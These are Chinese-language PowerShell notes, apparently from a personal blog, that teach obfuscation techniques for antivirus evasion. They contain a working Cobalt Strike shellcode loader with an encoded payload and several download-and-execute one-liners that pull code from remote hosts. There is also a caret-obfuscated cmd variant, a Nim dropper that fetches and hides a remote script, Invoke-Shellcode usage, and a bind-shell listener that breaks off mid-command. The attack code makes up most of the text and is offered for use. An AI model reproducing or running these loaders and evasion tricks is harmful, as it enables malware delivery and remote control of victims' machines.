01变量
02数据类型
03运算符
04控制结构
05循环
06函数与对象
① 使用括号与引号
作用在脚本中的对象函数上,将其转化为字符串执行。可以起到一定的混淆效果。
② 使用通配符*
New-Object可以通过通配符*写成如下形式:
&(Get-Command New-Obje*)
&(Get-Command N*-O*)
&(GCM *w-O*)
&(COMMAND *w-*ct)
参数
① 使用拼接的方法进行混淆
PowerShell中的参数部分可以使用引号将一个完整的参数分割成好几部分,再使用‘+‘进行连接,最后拼接成完整的参数。
② 使用格式化进行混淆
参数部分使用格式化的方法,把一个完整的参数分成几部分,绕过敏感字符检测。
③ 使用动态变量混淆
以构建DownloadString为例,
通过遍历函数并模糊匹配的方式找到DownloadString ,
用到了PsObject.Methods和Where-Object。
④ 使用变量传递的方法
将我们需要使用的变量
用四种其他方式传递进PowerShell语句中,
这样可以绕过某些安全工具对PowerShell的参数检查,达到混淆的作用。
☞环境变量
☞管道
☞粘贴板
☞隐蔽的进程参数
⑤ 使用ASCII进行混淆
使用[char]XX代替字符,
例如[char]97可以代替字符a,这在某些敏感参数被过滤的情况下特别好用。
我们将参数用ASCII码的方式做代替,例如下面:
通用
① 任意大小写
由于PowerShell对大小写不敏感,所以当某些敏感字符被过滤的时候,我们可以使用大小写打乱正常的字符
② 反引号作用
PowerShell中,反引号的作用是转义作用,也就是其它语言中的反斜杠“\”的作用。反引号加在某些字符面前会起到转义的作用,可当他加在其他字符前就不会产生任何作用,也不影响字符的意思,从而实现混淆
`a----警报
`b----退格
`f----换页
`n----换行
`r----回车
`t----水平制表
`v----垂直制表
③ 空格分断
允许在脚本或命令行中添加多余的空格,只要这些空格不影响脚本的运行,不影响正常的语法结构都是无关紧要的。所以我们可以在要执行的命令中添加任意多个空格符,达到混淆作用。
④ 反转字符串
有关反转字符串的命令:
$reverseCmd[-1..-($reverseCmd.Length)],我们将想要执行的命令反写,然后使用反转命令进行执行,从而进行混淆。
⑤ 分割/替换/拼接
PowerShell提供了几个针对字符串的函数,
如Split、Join、Replace。分别起到分割、拼接、替换的作用。
所以我们可以将自己想要执行的命令用字符串的格式书写,然后利用这三个函数,将字符串打乱使其失去本意,最后在执行时复原起到混淆的作用。
⑥ 编码
使用FromBase64String函数,将我们经过base64编码后的命令解码成正常命令执行。
⑦ 加密
PowerShell提供了一种加解密函数SecureString ToBSTR(),我们可以使用这个函数将我们想要执行的命令加密成密文,然后再执行前进行解密即可起到混淆作用。
实例
Set-StrictMode -Version 2
# 启用严格模式 配置当前作用域和所有子作用域的严格模式,并将其打开。
# 当严格模式打开时,PowerShell 强制脚本遵守更严格的编写规则,
# 会在表达式、脚本或脚本块的内容违反基本的最佳实践编码规则时生成一个终止错误
# 例如 禁止使用未定义的变量。
# 获取指定模块中指定过程的地址。
# 使用反射 技术 来获取并调用System.dll 程序集中的一些方法
# 获取了Microsoft.Win32.UnsafeNativeMethods 的类型类型, 该类型包含了一些本机 API 的封装
# 并从中获取了两个方法:GetProcAddress和GetModuleHandle。 这两个方法分别用于获取过程地址和模块句柄。
#接受两个参数
# 函数使用这些方法来获取指定模块
# (由$var_module参数指定)中指定过程
# (由$var_procedure参数指定)的地址。最后,函数返回该地址。
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
# 使用这两个方法的 Invoke 方法来调用它们,并返回过程地址。
# 使用了 System.Runtime.InteropServices.HandleRef 类型来封装模块句柄,以避免垃圾回收器释放它。
# 根据给定的参数类型和返回类型
# 创建一个委托类型,然后返回这个委托类型。委托类型是一种可以引用其他方法的类型,类似于 C# 中的委托或 lambda 表达式。
# 它有两个参数:$var_parameters 和 $var_return_type。
# $var_parameters 是一个必需的参数,它是一个类型数组,表示委托类型的参数类型。
# $var_return_type 是一个可选的参数,它是一个类型,表示委托类型的返回类型,默认值是 [Void]。
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
# 使用了 [AppDomain]::CurrentDomain.DefineDynamicAssembly 方法来创建一个动态程序集
# 一个使用反射发射 API 生成的程序集,可以在内存中生成并在同一应用程序运行期间执行其代码
# 这个方法的参数是一个 System.Reflection.AssemblyName 对象,它表示程序集的名称和版本信息。
# 在这个例子中,这个对象的名称是 ‘ReflectedDelegate’,但是没有指定版本信息。
# 动态程序集可以引用另一个动态或静态程序集中定义的类型
# 所以这个脚本可能是为了使用一些不在当前会话中加载的类型而创建的动态程序集。
# 检查PowerShell的运行环境是32位还是64位的
# [IntPtr]::size是一个属性,它返回指针的大小,单位是字节。如果是4,表示运行在32位环境;如果是8,表示运行在64位环境。
# Byte[]]$var_code 是一种声明变量的方式,表示$var_code是一个字节数组(byte array)的类型。
# 字节数组是一种存储8位无符号整数的集合类型,可以用来表示二进制数据
# 你可以用不同的方法来创建和初始化字节数组,例如:
# 直接给数组赋值:[byte[]]$b = 1,2,3,4,5
# 使用System.Array类的CreateInstance方法:$b = [System.Array]::CreateInstance([byte],5)
# 数组的元素类型是 byte,它是一个 8 位的无符号整数,可以存储从 0 到 255 的值。
# 这个数组可以作为 Map 的 key,但是要注意比较数组的内容而不是引用
# 使用New-Object命令:$b = New-Object byte[] 5
# 使用byte类型的范围操作符:$b = [byte]1…5
If ([IntPtr]::size -eq 8) {
[Byte[]]$var_code = [System.Convert]::FromBase64String('32ugx9PL6yMjI2JyYnNxcnVrEvFGa6hxQ2uocTtrqHEDa6hRc2sslGlpbhLqaxLjjx9CXyEPA2Li6i5iIuLBznFicmuocQOoYR9rIvNFols7KCFWUaijqyMjI2um41dEayLzc6hrO2eoYwNqIvPAdWvc6mKoF6trIvVuEuprEuOPYuLqLmIi4hvDVtJvIG8HK2Ya8lb7e2eoYwdqIvNFYqgva2eoYz9qIvNiqCerayLzYntie316eWJ7YnpieWugzwNicdzDe2J6eWuoMcps3Nzcfkkjap1USk1KTUZXI2J1aqrFb6rSYplvVAUk3PZrEuprEvFuEuNuEupic2JzYpkZdVqE3PbKsCMjI3lrquJim5giIyNuEupicmJySSBicmKZdKq85dz2yFp4a6riaxLxaqr7bhLqcUsjEeOncXFimch2DRjc9muq5Wug4HNJKXxrqtKZPCMjI0kjS6MQIyNqqsNimicjIyNimVZlvaXc9muq0muq+Wrk49zc3NxuEupxcWKZDiU7WNz2puMspr4iIyNr3Owsp68iIyPIkMrHIiMjy6Hc3NwMTFIWayN3wvXudiuWphyFrOv3SBuu5msJBmWhRnj0naL8mZI3w0huQQal6k+AD650m10ptdTeET/KC4lju9fZK2AYXllJIe+JLRwmkXuXI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TGANycmdMVE1PTEJHAxQQEBgDak1FTHNCV0sNEQouKSPeenqidVG6T3O8q1KYzGu8OZRQXWHj5ojh9+BoBV6nu5iJjFfuQvEH/bfMF1Kv66UuXYBn0Vw+1cfBVLkGVHxZjkQLslsVqEb1CejU9L1vn5W2BbC9WWAzhRQqUaIuZMDhLcXqfJS92rEFNUP/zlC8ERtQyVUpcOTOTMwW2asTi+c+G1F/JhboqlRvGkvXrAVRBANKCjuHCZi4WHfnWK05XDMUgvHsznhfSN6h0pNBoWjd4gBEZ/M75A7Xosx2jVUaQiTxKCNindOWgXXc9msS6pkjI2MjYpsjMyMjYppjIyMjYpl7h3DG3PZrsHBwa6rEa6rSa6r5YpsjAyMjaqraYpkxtarB3PZroOcDpuNXlUWoJGsi4KbjVvR7e3trJiMjIyNz4Mtc3tzcEhETDRcbDRsQDRsaIxn9S5I=')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
}
gwmi win32_desktopmonitor
1980 x 1080
gwmi 是 Get-WmiObject 的别名,它是一个 PowerShell 命令,用于查询 WMI(Windows Management Instrumentation)信息。win32_desktopmonitor 是一个 WMI 类,表示附加到计算机系统的监视器或显示设备的类型 1。
因此,gwmi win32_desktopmonitor 命令用于查询有关附加到计算机系统的监视器或显示设备的信息
Cobalt strike powershell 的免杀有一些常见的方法,
比如修改特征码、花指令免杀、加壳免杀、内存免杀、二次编译、分离免杀和资源修改
你可以使用一些工具或脚本来实现这些方法,
比如Restorator、ps2exe.ps1、Invoke-Obfuscation和Veil
powershell木马最常用的方式
远程下载然后执行的方法,特点就是:直接内存运行,无文件落地。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x/a'))"
-nop参数是-noprofile参数的缩写
-noprofile参数是用于不加载PowerShell的配置文件的
PowerShell的配置文件是一个在PowerShell启动时运行的脚本,
可以用来自定义环境,添加命令、别名、函数、变量、模块等
使用-nop参数可以避免加载不必要或恶意的配置文件
当调用powershell进行远程下载执行时,会被杀软进行拦截。那么针对Powershell的免杀有两个思路:
对ps1文件进行免杀处理
对Powershell的行为进行免杀处理
使用powershell.exe
来执行一个隐藏的、不加载配置文件的、绕过执行策略的命令,
该命令使用IEX(Invoke-Expression)函数来执行一个从远程URL下载的字符串,
该字符串可能是一段恶意代码或者shellcode。
这是一种常见的免杀技巧,利用powershell的灵活性和功能性来绕过杀毒软件的检测。
可以用其他编程语言实现类似的功能,比如Python、Perl、Ruby等,
只要能够从远程URL下载并执行代码。
但是这些语言可能需要在目标机器上安装相应的环境,而powershell是Windows系统自带的,所以更方便和隐蔽。
钓鱼攻击 Scripted Web Delivery (S)
可以使用nim语言的nimble包管理器来将Cobalt strike的powershell木马打包成exe。
你需要先安装nimble1,然后创建一个nim项目,编写一个nim脚本,
调用powershell的命令或脚本,然后使用nimble build命令来生成exe文件。
根据powershell语言的特性进行混淆,
例如字符串转换、变量转换、编码、压缩等等来绕过AV达到上线
cmd /c echo I^E^X ((new-object net.webclient).d^o^w^n^l^o^a^d^s^t^r^i^n^g('http://127.0.0.1/a')) | p^o^w^e^r^s^h^e^l^l -|w^h^o^a^m^i
cmd /c表示在一个新的命令提示符窗口中执行后面的命令,并在完成后关闭窗口。
它使用了一些特殊的字符来避免被解释为其他的命令或参数。1
powershell表示powershell,但是使用了符号来转义每个字母,这样就不会被当作一个变量或者一个通配符。
-|whoam^i表示-|whoami,这是一个PowerShell参数,
它表示从标准输入中读取命令,并输出当前用户的身份信息。
# 导入httpclient和os模块
import httpclient
import os
# 定义远程URL和本地文件名
const url = "http://xxx:12589/payload_x64.ps1"
const filename = "a.ps1"
# 创建一个http客户端
var client = newHttpClient()
# # 下载远程URL的内容并保存到本地文件
# client.downloadFile(url, filename)
# 下载远程URL的内容并保存到本地文件
var content = client.getContent(url)
writeFile(filename, content)
# 关闭http客户端
client.close()
# 构造powershell命令,使用-nop -w hidden -c参数和IEX函数
let cmd = "powershell.exe -nop -w hidden -c \"IEX ((Get-Content " & filename & " -Raw))\""
# 执行powershell命令
discard execShellCmd(cmd)
07库
自win7/win 2008开始
win系统增加了powershell工具。
PowerShell是一种命令行外壳程序和脚本环境
文件路径:
where powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
支持系统: win7/win2008 =<
powershell (new-objectNet.WebClient).DownloadFile('http://url/aa.ps1','c:\bb.ps1')
PowerShell:一个强大的命令行工具,可用于下载文件落地和管理网络连接。
powershell -Command "& 'path\to\program.exe'"
PowerShell \ ConvertTo-Shellcode.ps1:将 DLL 转换为 shellcode
使用 powershell 转换 DLL 并使用 Invoke-Shellcode 加载
Import-Module .\Invoke-Shellcode.ps1
Import-Module .\ConvertTo-Shellcode.ps1
Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)
监听
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2